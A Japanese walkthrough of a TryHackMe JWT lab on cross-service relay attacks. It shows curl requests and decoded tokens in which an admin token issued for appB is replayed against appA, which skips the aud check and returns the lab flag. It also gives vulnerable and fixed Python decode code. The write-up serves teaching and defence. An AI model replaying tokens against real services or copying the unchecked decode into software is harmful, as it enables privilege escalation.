はじめに
JWT を使った認証では、
「1つの認証サーバが複数のサービス(アプリ)をまとめて認証する」
という構成がよくあります。
このとき登場するのが aud(audience claim) です。
- このトークンは どのサービス向けなのか?
- appA 用? appB 用? それとも別サービス用?
本来は aud を見てサービス側がしっかりチェックする必要があります。
しかし、ここをちゃんと検証していないと、別サービスでトークンを「流用」されてしまう──
これが Cross-Service Relay Attack(クロスサービス・リレー攻撃) です。
この記事では、
-
audの役割 - Cross-Service Relay Attack の流れ
- TryHackMe Example 7 の実際の挙動
- 開発ミスのポイント
- どう防ぐべきか
を整理していきます。
1. Audience Claim(aud)とは?
JWT には任意のクレームを入れられますが、その中でも
-
aud(Audience) = 「このトークンはどのサービス向け?」
という意味を持つ標準クレームがあります。
例:
{
"username": "user",
"admin": 1,
"aud": "appA"
}
これは、
- このトークンは
appA向け username=user-
admin=1(appA 上では管理者)
…という意味。
重要なのは:
audのチェックは「認証サーバ」ではなく
各サービス(appA / appB)側でやらないといけない。
認証サーバは「正しく署名された JWT」を返すだけなので、
どのサービスで使うかの最終判断は、受け取ったアプリ側の責任になります。
2. Cross-Service Relay Attack とは?
ざっくり言うと:
サービス B で「管理者」のトークンを発行してもらって、
そのトークンをサービス A にも投げてみたら、
A がaudをチェックしていないせいで、A でも管理者になれてしまう攻撃。
図でイメージする
aud を検証していないサービスに、
別サービス向けの admin トークンを「中継(Relay)」するイメージです。
3. TryHackMe Example 7 の動き整理
あなたが実際に叩いたログをベースに、攻撃の流れを分解してみます。
3.1. appA 向けでログイン(非管理者)
curl -H 'Content-Type: application/json' \
-X POST \
-d '{ "username" : "user", "password" : "password7","application" : "appA"}' \
http://MACHINE/api/v1.0/example7
レスポンス:
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}
デコードすると:
// header
{
"typ": "JWT",
"alg": "HS256"
}
// payload
{
"username": "user",
"admin": 0,
"aud": "appA"
}
このトークンを example7_appB に投げると…
curl -H 'Authorization: Bearer <appAトークン>' \
'http://MACHINE/api/v1.0/example7_appB?username=user'
レスポンス:
{
"message": "JWT could not be read: Invalid audience"
}
appB は aud="appA" を見て、ちゃんと弾いている。
aud 検証は OK。
3.2. appB 向けでログイン(管理者)
次に appB 向けとしてログイン:
curl -H 'Content-Type: application/json' \
-X POST \
-d '{ "username" : "user", "password" : "password7","application" : "appB"}' \
http://MACHINE/api/v1.0/example7
レスポンス:
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}
payload を見ると:
{
"username": "user",
"admin": 1,
"aud": "appB"
}
つまり:
- appB では
admin:1(管理者) - aud は
appB向け
これを正しく appB に投げると:
curl -H 'Authorization: Bearer <appBトークン>' \
'http://MACHINE/api/v1.0/example7_appB?username=admin'
レスポンス:
{
"message": "Welcome admin, you are an admin, but there is no flag for you here"
}
appB では確かに admin。
でも flag はここにはない。
3.3. appB 向けトークンを appA に投げる(Cross-Service Relay)
ここが本番。
curl -H 'Authorization: Bearer <appBトークン>' \
'http://MACHINE/api/v1.0/example7_appA?username=admin'
レスポンス:
{
"message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}
何が起きているか?
- トークンの
audは"appB" - 本来なら appA 側は「appB 向けトークン」を拒否すべき
- しかし appA は
audを検証していない - そのため
admin:1だけ見て、appA でも管理者として扱ってしまった
これがそのまま Cross-Service Relay Attack 成功パターン です。
4. 開発上のミスはどこか?
ミスはシンプルにこれです:
appA が
audクレームを検証していない(または緩すぎる)
appB はちゃんと aud="appB" 以外を拒否しているのに、
appA が署名だけ見て満足してしまっている状態。
擬似コードで書くと:
# appA のダメな例(aud 検証なし)
payload = jwt.decode(token, self.secret, algorithms=["HS256"])
username = payload["username"]
admin = payload["admin"]
これだと aud に "appB" が入っていても普通に通ってしまいます。
5. 防御策:audience の厳格検証
正しい実装はこうなります:
payload = jwt.decode(
token,
self.secret,
audience=["appA"], # ← ここが超重要
algorithms=["HS256"]
)
ポイント:
-
サービスごとに期待する
audを固定する- appA →
aud=["appA"] - appB →
aud=["appB"]
- appA →
- 「とりあえず
aud無視」は絶対にNG - 「すべてのアプリを
aud=["*"]で通す」みたいな実装も危険
SSO/中央認証をやる場合こそ、
「どのサービス向けのトークンか」をサービス側で必ずチェックする必要があります。
まとめ
- JWT は 1つの認証基盤で複数アプリを守る用途によく使われる
- そのとき
aud(audience)で「どのアプリ向けか」を区別する -
audを検証していないアプリでは、- 別サービス向けの管理者トークンが「流用」される
- → Cross-Service Relay Attack が成立する
- TryHackMe Example 7 では、
- appB 向け
admin:1, aud:"appB"トークンを - appA に投げることで flag を取得できた
- 理由:appA が
audを見ていない
- appB 向け
- 防御策:
- 各アプリが
audを厳格に検証する -
jwt.decode(..., audience=["appA"], ...)のようにサービスごとに固定する
- 各アプリが